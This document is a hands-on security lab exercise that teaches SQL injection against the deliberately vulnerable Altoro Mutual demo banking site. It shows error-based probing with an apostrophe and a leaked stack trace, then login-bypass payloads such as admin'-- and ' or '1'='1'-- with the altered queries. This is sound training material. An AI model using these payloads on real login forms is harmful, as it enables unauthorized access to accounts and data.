



3 Injection flaws exercises

SQL injection can cause an application to use unvalidated user input to circumvent the application's business logic or interact with the database directly. In these exercises, you play the role of a malicious user who tests the Altoro Mutual web application for SQL injection vulnerabilities and exploits the site by logging in to the application without a password.

Exercise 1 Use SQL injection to exploit the site

Log in without credentials

1. Open the Firefox web browser.
2. Type the URL `demo.testfire.net/bank/login.aspx`.

The image shows a web form titled "Online Banking Login". It contains two input fields: "Username:" and "Password:". Below the fields is a "Login" button. The form is set against a light green background.

3. Leave the **Username** and **Password** fields blank and click **Login**.
4. Review the error message.

You must enter a valid username

OK

You learn that the web application requires a user name.

5. In the **Username** field, type `donald`.

Online Banking Login

Username:

Password:

6. Leave the **Password** field blank and click **Login**.

You must enter a valid password

7. Review the error message.

You learn that the site uses client-side JavaScript validation on each of the fields.

8. To view the JavaScript (`confirminput`) used to validate that the **Username** and **Password** fields cannot be blank, right-click the page and select **View Page Source**.
9. In the **Username** field, type `donald`.
10. In the **Password** field, type a single apostrophe (`'`).

Online Banking Login

Username:

Password:

11. Click **Login** and review the information that the application returns.

An Error Has Occurred

Summary:

Syntax error in string in query expression 'username = 'donald' AND password = ''.

Error Message:

```
System.Data.OleDb.OleDbException: Syntax error in string in query expression 'username = 'donald' AND password = '''. at
System.Data.OleDb.OleDbCommand.ExecuteNonQueryErrorHandling(OleDbResult hr) at
System.Data.OleDb.OleDbCommand.ExecuteNonQueryForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at
System.Data.OleDb.OleDbCommand.ExecuteNonQuery(Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteNonQuery(CommandBehavior behavior,
Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at
System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at
System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillInternal(DataSet
dataset, DataTable[] dataTables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at Altoro.Authentication.ValidateUser(String uName, String pWord) in c:\downloads
\AltoroMutual_v6\website\bank\login.aspx.cs:line 68 at Altoro.Authentication.Page_Load(Object sender, EventArgs e) in c:\downloads\AltoroMutual_v6\website
\bank\login.aspx.cs:line 33 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) at
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at
System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
```

Instead of a generic message, the application returns details about the SQL query with enough information to enable you to make some assumptions about how to interact with the database.

The fact that the single quotation mark entered returns the `Syntax error in string in query expression 'username = 'donald' AND password = ''`. error informs you that you broke the query's syntax. If you look at the actual query, you see that the user input caused a syntax error for the value of the password parameter.

You can use this knowledge to circumvent the business logic for the condition in the query.

Query:

```
SQLQuery = "SELECT Username FROM Users WHERE Username = '' & strUsername & ''
AND Password = '' & strPassword & ''"
```

Resulting query with input gathered:

```
SQLQuery = "SELECT Username FROM Users WHERE Username = 'donald' AND Password =
''"
```

You now know that the single quotation mark entered as the password broke the syntax.

Exploit the system

To use the login information to exploit the system, perform the following steps:

1. To return to the login page, in Firefox click the **Back** button.
2. In the **Username** field, type `dan'--`.

3. In the **Password** field, type anything.

Online Banking Login

Username:

Password:

4. Click **Login** and review the information the application returns.

Online Banking Login

Login Failed: We're sorry, but this username was not found in our system. Please try again.

Username:

Password:

The application informs you that the user name is incorrect.

The -- (two hyphens) indicate a comment and end the SQL statement; therefore, a password is not needed to log in to the application. However, you do need to enter a password on the form to prevent the JavaScript from complaining that the password is missing. This password does not need to be correct because the SQL query does not use it.

Your query now reads as follows:

```
SQLQuery = "SELECT Username FROM Users WHERE Username = 'dan'--"
```



Important: Everything after the two hyphens is treated as a comment.

5. in **Username** field, type `admin'--`.

- In the **Password** field, type anything.

Online Banking Login

Username:

Password:

- Click **Login** and review the information that the application returns.

Hello Admin User

Welcome to Altoro Mutual Online.

View Account Details:

You learn that you can log in with a valid SQL statement such as the following statement:

```
SELECT Username FROM Users WHERE Username = 'userinput' AND Password = 'userinput'
```

The input changes the query, which means that the condition is true when the **Username** is admin, and you can log in without a password.

```
SELECT Username FROM Users WHERE Username = 'admin' --
```

If you do not know a user name, you might log in as the first user in the table that uses the following `' or '1'='1'--` input.

```
SELECT Username FROM Users WHERE Username = '' or '1'='1' --
```



Hint: Because the `--` comments out the password, you do not need one.

The input causes a true condition; therefore, the **username** value does not matter and the password is commented out. You log in as the first user in the database.